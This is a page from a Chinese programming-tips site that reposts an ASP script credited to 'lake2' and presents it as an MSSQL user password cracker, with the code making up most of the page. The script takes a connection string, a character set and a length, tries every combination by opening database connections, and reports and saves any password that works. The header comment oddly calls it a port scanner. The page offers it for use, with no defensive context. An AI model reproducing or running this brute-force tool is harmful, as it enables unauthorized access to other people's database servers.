您现在的位置是：网站首页> 编程资料编程资料

用ASP实现MSSQL用户密码破解_应用技巧_

2023-05-25 205人已围观

简介用ASP实现MSSQL用户密码破解_应用技巧_

自己把以下代码保存为ASP文件。当然我还是一如既往的BS那些只改作者名字的家伙。

<%  
'============ ASP Port Scanner by lake2 ===================  
'http://lake2.0x54.org  
'Version: 0.1  
'For SpringBoard  
'==========================================================  
%>  
  
body,td,th {color: #0000FF;font-family: Verdana, Arial, Helvetica, sans-serif;}  
body {background-color: #ffffff;font-size:14px; }  
a:link {color: #0000FF;text-decoration: none;}  
a:visited {text-decoration: none;color: #0000FF;}  
a:hover {text-decoration: none;color: #FF0000;}  
a:active {text-decoration: none;color: #FF0000;}  
.buttom {color: #FFFFFF; border: 1px solid #084B8E; background-color: #719BC5}  
.TextBox {border: 1px solid #084B8E}  
.styleRed {color: #FF0000}  
  
MSSQL Cracker for SpringBoard  
<%  
Dim Password()  
If Request.Form("go") <> "1" Then  
%>  
 Welcome to http://lake2.0x54.org 

  ConnStr:



  Char:



Length:


Path:
" size="50">

Enablel

<%
Else
timer1 = timer
Server.ScriptTimeout = 7776000
ConnStr = Request.Form("Conn")
Char = request.Form("char")
LenChar = Len(Char)
ReDim password(LenChar)
For i = 1 to LenChar
  password(i) = Mid(Char, i, 1)
Next
length = CInt(request.Form("len"))
Call LAKE("")
response.Write "Done!
Process " & tTime & " s"
If request.Form("CFile") <> "" Then CreateResult("Done!" & vbcrlf & tTime)
End If

Sub LAKE(str)
If Len(str) >= length Then Exit Sub
For j = 1 to LenChar
  pass = str & password(j)
  If Len(pass) = length Then Call Crack(pass)
  Call LAKE(pass)
Next
End Sub

Sub Crack(str)
On Error Resume Next
Set conn = Server.CreateObject("ADODB.connection")
conn.open Replace(ConnStr,"{PASS}",str)
If Err Then
  If Err.Number <> -2147217843 Then
   response.Write(Err.Description & "
")
   response.End()
  End If
Else
  response.Write("I Get it ! Password is " & str & "
Process " & tTime & " s")
  If request.Form("CFile") <> "" Then CreateResult(str & vbcrlf & tTime)
  response.End()
End If
End Sub

Function tTime()
timer2 = timer
thetime=cstr(int(timer2-timer1))
tTime = thetime
End Function

Sub CreateResult(t)
Set fs = CreateObject("Scripting.FileSystemObject")
Set outfile = fs.CreateTextFile(request.Form("path"))
outfile.WriteLine t
Set fs = Nothing
End Sub
%>

上一篇：用asp实现网页调用doc附Response.ContentType 详细列表_应用技巧_

下一篇：ASP创建对象的两种方法比较_应用技巧_

您现在的位置是：网站首页> 编程资料编程资料

用ASP实现MSSQL用户密码破解_应用技巧_

相关内容

点击排行

本栏推荐

猜你喜欢